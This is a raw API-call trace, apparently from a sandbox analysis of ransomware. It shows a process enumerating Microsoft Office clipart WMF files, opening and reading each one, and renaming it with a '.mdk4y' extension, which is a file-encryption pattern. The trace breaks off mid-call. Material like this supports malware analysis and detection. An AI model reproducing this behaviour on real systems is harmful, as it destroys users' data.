[0171.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00272_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00272_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.578] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824680800000) returned 1 [0171.578] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaf4, lpOverlapped=0x0) returned 1 [0171.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824681600000) returned 1 [0171.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824681600000) returned 1 [0171.586] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.mdk4y")) returned 1 [0171.587] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.587] AreFileApisANSI () returned 1 [0171.587] GetACP () returned 0x4e4 [0171.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00468_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00468_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824681800000) returned 1 [0171.588] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5aa4, lpOverlapped=0x0) returned 1 [0171.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824683700000) returned 1 [0171.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824683700000) returned 1 [0171.608] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.mdk4y")) returned 1 [0171.609] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.609] AreFileApisANSI () returned 1 [0171.609] GetACP () returned 0x4e4 [0171.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00478_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00478_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.609] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824684000000) returned 1 [0171.610] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1cf8, lpOverlapped=0x0) returned 1 [0171.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824684100000) returned 1 [0171.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824684100000) returned 1 [0171.612] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.mdk4y")) returned 1 [0171.612] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.612] AreFileApisANSI () returned 1 [0171.612] GetACP () returned 0x4e4 [0171.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00485_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00485_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.612] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824684300000) returned 1 [0171.613] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4124, lpOverlapped=0x0) returned 1 [0171.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824684900000) returned 1 [0171.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824685000000) returned 1 [0171.620] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.mdk4y")) returned 1 [0171.621] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.621] AreFileApisANSI () returned 1 [0171.621] GetACP () returned 0x4e4 [0171.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00489_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00489_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.621] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824685200000) returned 1 [0171.622] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1402c, lpOverlapped=0x0) returned 1 [0171.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824685800000) returned 1 [0171.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824685800000) returned 1 [0171.629] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.mdk4y")) returned 1 [0171.630] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.630] AreFileApisANSI () returned 1 [0171.630] GetACP () returned 0x4e4 [0171.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00531_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00531_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.630] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824686100000) returned 1 [0171.631] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ee4, lpOverlapped=0x0) returned 1 [0171.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824686200000) returned 1 [0171.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824686200000) returned 1 [0171.633] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.mdk4y")) returned 1 [0171.633] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.633] AreFileApisANSI () returned 1 [0171.633] GetACP () returned 0x4e4 [0171.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00542_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00542_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.633] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824686400000) returned 1 [0171.634] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8da8, lpOverlapped=0x0) returned 1 [0171.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824686600000) returned 1 [0171.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824686600000) returned 1 [0171.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.mdk4y")) returned 1 [0171.637] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.637] AreFileApisANSI () returned 1 [0171.637] GetACP () returned 0x4e4 [0171.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00555_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00555_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.637] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824686800000) returned 1 [0171.638] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x140c, lpOverlapped=0x0) returned 1 [0171.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824687300000) returned 1 [0171.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824687300000) returned 1 [0171.643] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.mdk4y")) returned 1 [0171.644] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.644] AreFileApisANSI () returned 1 [0171.644] GetACP () returned 0x4e4 [0171.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00559_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00559_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.644] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824687500000) returned 1 [0171.645] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26b0, lpOverlapped=0x0) returned 1 [0171.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824688300000) returned 1 [0171.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824688300000) returned 1 [0171.654] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.mdk4y")) returned 1 [0171.655] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.655] AreFileApisANSI () returned 1 [0171.655] GetACP () returned 0x4e4 [0171.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00563_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00563_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.655] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824688700000) returned 1 [0171.657] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5670, lpOverlapped=0x0) returned 1 [0171.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824689400000) returned 1 [0171.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824689400000) returned 1 [0171.665] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.mdk4y")) returned 1 [0171.666] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.666] AreFileApisANSI () returned 1 [0171.666] GetACP () returned 0x4e4 [0171.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00578_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00578_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.666] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824689600000) returned 1 [0171.666] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ae6, lpOverlapped=0x0) returned 1 [0171.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824690400000) returned 1 [0171.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824690400000) returned 1 [0171.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.mdk4y")) returned 1 [0171.675] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.675] AreFileApisANSI () returned 1 [0171.675] GetACP () returned 0x4e4 [0171.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00608_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00608_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.675] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824690600000) returned 1 [0171.676] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1928, lpOverlapped=0x0) returned 1 [0171.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824690700000) returned 1 [0171.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824690700000) returned 1 [0171.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.mdk4y")) returned 1 [0171.678] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.678] AreFileApisANSI () returned 1 [0171.678] GetACP () returned 0x4e4 [0171.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00633_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00633_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.679] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824690900000) returned 1 [0171.679] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4cea, lpOverlapped=0x0) returned 1 [0171.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824691000000) returned 1 [0171.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824691000000) returned 1 [0171.681] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.mdk4y")) returned 1 [0171.682] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.682] AreFileApisANSI () returned 1 [0171.682] GetACP () returned 0x4e4 [0171.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00640_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00640_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.682] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824691300000) returned 1 [0171.683] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb12c, lpOverlapped=0x0) returned 1 [0171.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824692300000) returned 1 [0171.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824692300000) returned 1 [0171.694] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.mdk4y")) returned 1 [0171.695] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.695] AreFileApisANSI () returned 1 [0171.695] GetACP () returned 0x4e4 [0171.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE00668_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE00668_.WMF", lpUsedDefaultChar=0x37df4c) returned 